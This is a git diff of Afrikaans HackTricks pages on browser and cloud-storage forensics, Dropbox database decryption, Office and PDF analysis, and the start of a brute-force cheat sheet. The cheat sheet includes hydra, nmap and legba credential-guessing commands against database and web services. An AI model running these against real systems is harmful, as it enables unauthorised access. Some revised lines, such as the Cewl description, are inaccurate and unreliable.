Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Tesame hiermee kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuis in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft hulpmiddels soos Skype.
### Cache Inspeksie
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak cache inspeksie moontlik, wat die lokasie van die cache data-ekstraksie vouer vereis. Metadata vir die cache sluit lêernaam, gids, toegangstelling, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui.
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak cache inspeksie moontlik, wat die lokasie van die cache data-ekstraksie vouer benodig. Metadata vir die cache sluit lêernaam, gids, toegangstellings, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui.
### Koekies Bestuur
@ -135,7 +133,7 @@ Aflaaibesonderhede is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/u
### Blaai Geskiedenis
Om blaai-geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die uitgepakte geskiedenis lêers en konfigurasie vir Internet Explorer vereis. Metadata hier sluit wysiging en toegangstye in, tesame met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Om blaai-geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die geëkstraheerde geskiedenis lêers en konfigurasie vir Internet Explorer benodig. Metadata hier sluit wysiging en toegangstye in, tesame met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Getikte URL's
@ -171,8 +169,10 @@ Opera se data bly in `/Users/$USER/Library/Application Support/com.operasoftware
- **Blaaier se ingeboude teen-phishing**: Verifieer deur te kyk of `fraud_protection_enabled` in die Voorkeure lêer op `true` gestel is met `grep`.
Hierdie paaie en opdragte is noodsaaklik vir die toegang tot en begrip van die blaai data gestoor deur verskillende webblaaier.
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks uitrusting**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -14,17 +14,17 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat sekere interessante data bevat rakende die gesinchroniseerde lêers:
In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat interessante data bevat oor die gesinkroniseerde lêers:
* Grootte in bytes
* Skeppingsdatum
@ -35,21 +35,21 @@ In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\L
* Verslaggenereringstyd
* Grootte van die HD van die OS
Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\<CID>.ini**_ en _**\<CID>.dat**_ wat interessante inligting kan bevat soos die name van lêers wat met OneDrive gesinchroniseer is.
Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\<CID>.ini**_ en _**\<CID>.dat**_ wat interessante inligting kan bevat soos die name van lêers wat gesinkroniseer is met OneDrive.
## Google Drive
In Windows kan jy die hoof Google Drive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Google\Drive\user_default`\
Hierdie folder bevat 'n lêer genaamd Sync\_log.log met inligting soos die e-posadres van die rekening, lêernaam, tydstempels, MD5-hashes van die lêers, ens. Selfs verwyderde lêers verskyn in daardie log-lêer met die ooreenstemmende MD5.
Die lêer **`Cloud_graph\Cloud_graph.db`** is 'n sqlite-databasis wat die tabel **`cloud_graph_entry`** bevat. In hierdie tabel kan jy die **naam** van die **gesinchroniseerde** **lêers**, gewysigde tyd, grootte, en die MD5-kontrolesom van die lêers vind.
Die lêer **`Cloud_graph\Cloud_graph.db`** is 'n sqlite-databasis wat die tabel **`cloud_graph_entry`** bevat. In hierdie tabel kan jy die **naam** van die **gesinkroniseerde** **lêers**, gewysigde tyd, grootte, en die MD5-kontrolesom van die lêers vind.
Die tabeldata van die databasis **`Sync_config.db`** bevat die e-posadres van die rekening, die pad van die gedeelde lêers en die Google Drive-weergawe.
## Dropbox
Dropbox gebruik **SQLite-databasisse** om die lêers te bestuur. Hierdie\
Jy kan die databasisse vind in die folders:
Jy kan die databasisse vind in die volgende folders:
* `\Users\<gebruikersnaam>\AppData\Local\Dropbox`
* `\Users\<gebruikersnaam>\AppData\Local\Dropbox\Instance1`
@ -73,18 +73,18 @@ Nietemin, die hoofinligting is:
* **Algoritme**: PBKDF2
* **Iterasies**: 1066
Afgesien van daardie inligting, om die databasisse te ontsluit, het jy steeds nodig:
Afgesien van daardie inligting, om die databasisse te ontsluit, benodig jy steeds:
* Die **versleutelde DPAPI-sleutel**: Jy kan dit in die register binne `NTUSER.DAT\Software\Dropbox\ks\client` vind (eksporteer hierdie data as binêr)
* Die **`SYSTEM`** en **`SECURITY`**-bytjies
* Die **DPAPI-meestersleutels**: Wat gevind kan word in `\Users\<gebruikersnaam>\AppData\Roaming\Microsoft\Protect`
* Die **DPAPI-hoofsleutels**: Wat gevind kan word in `\Users\<gebruikersnaam>\AppData\Roaming\Microsoft\Protect`
* Die **gebruikersnaam** en **wagwoord** van die Windows-gebruiker
Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
As alles soos verwag verloop, sal die instrument die **hoofleutel** aandui wat jy nodig het om die oorspronklike een te **herstel**. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die hoofleutel as die "wagwoord" binne die kwitansie te plaas.
As alles soos verwag verloop, sal die instrument die **hoof sleutel** aandui wat jy nodig het om die oorspronklike een te herstel. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die hoofsleutel as die "wagwoordfrase" binne die kwitansie te plaas.
Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te versleutel wat ontsluit kan word met:
```bash
@ -95,10 +95,10 @@ Die **`config.dbx`** databasis bevat:
- **E-pos**: Die e-pos van die gebruiker
- **usernamedisplayname**: Die naam van die gebruiker
- **dropbox\_path**: Pad waar die Dropbox vouer geleë is
- **Host\_id: Hash** wat gebruik word om na die wolk te verifieer. Dit kan slegs van die web af herroep word.
- **Host\_id: Hash** wat gebruik word om te verifieer na die wolk. Dit kan slegs van die web herroep word.
- **Root\_ns**: Gebruiker-identifiseerder
Die **`filecache.db`** databasis bevat inligting oor al die lêers en vouers wat met Dropbox gesinkroniseer is. Die tabel `File_journal` is die een met die meeste nuttige inligting:
Die **`filecache.db`** databasis bevat inligting oor al die lêers en vouers wat gesinkroniseer is met Dropbox. Die tabel `File_journal` is die een met die meeste nuttige inligting:
- **Server\_path**: Pad waar die lêer binne die bediener geleë is (hierdie pad word voorafgegaan deur die `host_id` van die klient).
- **local\_sjid**: Weergawe van die lêer
@ -117,7 +117,7 @@ Ander tabelle binne hierdie databasis bevat meer interessante inligting:
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -131,6 +131,6 @@ Ander maniere om HackTricks te ondersteun:
- Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
- **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -14,7 +14,7 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
@ -28,31 +28,31 @@ Microsoft het baie kantoorlêerformate geskep, met twee hooftipes wat **OLE-form
Om OOXML-lêerstrukture te verken, word die opdrag om 'n dokument te ontzip en die uitvoerstruktuur gegee. Tegnieke vir die versteek van data in hierdie lêers is gedokumenteer, wat dui op voortdurende innovasie in data-versteek binne CTF-uitdagings.
Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskap help om ingeslote makros te identifiseer en te ontleed, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende skadelike vragte aflaai en uitvoer. Ontleding van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak.
Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskappe help om ingeslote makros te identifiseer en te analiseer, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende kwaadwillige vragte aflaai en uitvoer. Analise van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak.
Die installasie en gebruik van **oletools** is maklik, met opdragte wat voorsien word vir installering via pip en die onttrekking van makros uit dokumente. Outomatiese uitvoering van makros word geaktiveer deur funksies soos `AutoOpen`, `AutoExec`, of `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -14,7 +14,7 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
@ -24,7 +24,7 @@ Kry Vandag Toegang:
**Vir verdere besonderhede, kyk na:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Die PDF-formaat is bekend vir sy kompleksiteit en potensiaal om data te verberg, wat dit 'n fokuspunt maak vir CTF forensiese uitdagings. Dit kombineer platte-tekstelemente met binêre voorwerpe, wat moontlik saamgedruk of versleutel kan wees, en kan skripte in tale soos JavaScript of Flash insluit. Om die PDF-struktuur te verstaan, kan 'n persoon verwys na Didier Stevens se [inleidende materiaal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), of gereedskap soos 'n teksredigeerder of 'n PDF-spesifieke redigeerder soos Origami gebruik.
Die PDF-formaat is bekend vir sy kompleksiteit en potensiaal om data te verberg, wat dit 'n fokuspunt maak vir CTF forensiese uitdagings. Dit kombineer plat-teks elemente met binêre voorwerpe, wat moontlik saamgedruk of versleutel kan wees, en kan skripte in tale soos JavaScript of Flash insluit. Om die PDF-struktuur te verstaan, kan 'n mens verwys na Didier Stevens se [inleidende materiaal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), of gereedskap soos 'n teksredigeerder of 'n PDF-spesifieke redigeerder soos Origami gebruik.
Vir diepgaande verkenning of manipulasie van PDF's, is gereedskap soos [qpdf](https://github.com/qpdf/qpdf) en [Origami](https://github.com/mobmewireless/origami-pdf) beskikbaar. Versteekte data binne PDF's kan verberg wees in:
@ -35,7 +35,7 @@ Vir diepgaande verkenning of manipulasie van PDF's, is gereedskap soos [qpdf](ht
* Teks agter beelde of oorvleuelende beelde
* Nie-vertoonde kommentaar
Vir aangepaste PDF-ontleding kan Python-biblioteke soos [PeepDF](https://github.com/jesparza/peepdf) gebruik word om op maat gemaakte ontledingsskripte te skep. Verder is die potensiaal van die PDF vir versteekte data-opberging so groot dat bronne soos die NSA-gids oor PDF-risiko's en teenmaatreëls, alhoewel nie meer by sy oorspronklike plek gehuisves nie, steeds waardevolle insigte bied. 'n [Kopie van die gids](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) en 'n versameling van [PDF-formaat truuks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) deur Ange Albertini kan verdere leesstof oor die onderwerp bied.
Vir aangepaste PDF-ontleding kan Python-biblioteke soos [PeepDF](https://github.com/jesparza/peepdf) gebruik word om op maat gemaakte ontledingsskripte te skep. Verder is die PDF se potensiaal vir versteekte data-opberging so groot dat bronne soos die NSA-gids oor PDF-risiko's en teenmaatreëls, alhoewel nie meer gehuisves op sy oorspronklike plek nie, steeds waardevolle insigte bied. 'n [Kopie van die gids](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) en 'n versameling van [PDF-formaat truuks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) deur Ange Albertini kan verdere leesstof oor die onderwerp bied.
<details>

View file

@ -1,9 +1,9 @@
# Brute Force - Spiekbrief
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -17,8 +17,8 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
@ -41,7 +41,7 @@ Ander maniere om HackTricks te ondersteun:
## **Skep jou eie Woordeboeke**
Vind soveel moontlike inligting oor die teiken en genereer 'n aangepaste woordeboek. Gereedskap wat kan help:
Vind soveel moontlik inligting oor die teiken en genereer 'n aangepaste woordeboek. Gereedskappe wat kan help:
### Crunch
```bash
@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%%
```
### Cewl
Cewl is 'n hulpmiddel wat gebruik word om woorde uit 'n webwerf te onttrek en 'n woordelys te skep vir aanvalle met geweld. Dit kan help om doelwitsleutels te identifiseer vir aanvalle met geweld.
Cewl is 'n hulpmiddel wat gebruik word om woorde uit 'n tekslêer te onttrek en 'n woordelys te skep vir aanvalle met kragaanvalle. Dit kan gebruik word om sosiale ingenieurswese-aanvalle te vergemaklik deur inligting te versamel vir doelwitspesifieke aanvalle.
```bash
cewl example.com -m 5 -w words.txt
```
@ -68,7 +68,7 @@ python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
'n Woordelys generator instrument, wat jou toelaat om 'n stel woorde te voorsien, wat jou die moontlikheid gee om verskeie variasies van die gegewe woorde te skep, 'n unieke en ideale woordelys te skep om te gebruik met betrekking tot 'n spesifieke teiken.
'n Woordelysgeneratorwerktuig wat jou toelaat om 'n stel woorde te voorsien, wat jou die moontlikheid gee om verskeie variasies van die gegewe woorde te skep, wat 'n unieke en ideale woordelys skep om te gebruik met betrekking tot 'n spesifieke teiken.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -102,10 +102,10 @@ Finished in 0.920s.
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -126,7 +126,9 @@ msf> run
```
### AJP
AJP (Apache JServ Protocol) is a binary protocol that can be used to communicate with a web server. It is often used to connect web servers with servlet containers, such as Apache Tomcat. A common attack method against AJP is brute-forcing credentials to gain unauthorized access.
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective, especially if the password is weak. Automated tools can be used to speed up the process.
```bash
nmap --script ajp-brute -p 8009 <IP>
```
@ -138,13 +140,11 @@ legba amqp --target localhost:5672 --username admin --password data/passwords.tx
#### Brute Force
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method can be effective but is time-consuming and resource-intensive. It is important to use strong and unique passwords to protect against brute force attacks.
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be effective but is time-consuming and resource-intensive. It is important to use strong, complex passwords to mitigate the risk of a successful brute force attack.
#### Afrikaans Translation
#### Dictionary Attack
#### Brute Force
Brute force-aanvalle behels om alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode kan effektief wees, maar dit verg baie tyd en hulpbronne. Dit is belangrik om sterk en unieke wagwoorde te gebruik om teen brute force-aanvalle te beskerm.
A dictionary attack involves using a list of commonly used passwords or words from a dictionary to try to guess a password. This method is more efficient than brute force as it targets likely passwords first. It is essential to use unique and uncommon passwords to protect against dictionary attacks.
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
@ -152,7 +152,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
```
### CouchDB
Brute-force attacks against CouchDB are relatively simple to execute. The most common method is to use a tool like Hydra to repeatedly try different username and password combinations until the correct one is found. This can be effective if the credentials are weak or if the server is not properly configured to prevent multiple login attempts. It is important to note that brute-force attacks can be detected and blocked by security measures such as account lockouts or CAPTCHA challenges.
Brute-force attacks against CouchDB are relatively simple to execute. The most common method is to use a tool like Hydra to repeatedly try different username and password combinations until the correct one is found. This can be effective if the credentials are weak or if the server is not properly configured to prevent multiple login attempts. It is important to note that brute-force attacks can be detected and blocked by CouchDB, so it is essential to use this technique responsibly and with proper authorization.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
@ -163,15 +163,29 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
```
### Elasticsearch
#### Brute Force
#### Brute Force Attack
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack weak passwords or gain unauthorized access to systems. In Elasticsearch, brute force attacks can be mitigated by implementing security measures such as strong password policies, account lockout mechanisms, and monitoring for suspicious login attempts.
'n Brute Force-aanval is 'n aanval wat poog om in te log op 'n Elasticsearch-diens deur verskeie kombinasies van gebruikersname en wagwoorde te probeer. Hierdie aanval is gewoonlik baie tydrowend, maar kan suksesvol wees as swak of maklik te raai wagwoorde gebruik word.
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
FTP (File Transfer Protocol) is 'n protokol wat gebruik word om lêers oor 'n netwerk te stuur.
#### Brute Force
Brute force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack passwords and encryption keys.
#### Dictionary Attack
A dictionary attack is a type of brute force attack where a predefined list of passwords is used. This list can be a combination of common passwords, dictionary words, or previously leaked passwords.
#### Hydra
Hydra is a popular tool used for performing brute force and dictionary attacks. It supports multiple protocols, including FTP, SSH, HTTP, and many others.
#### Medusa
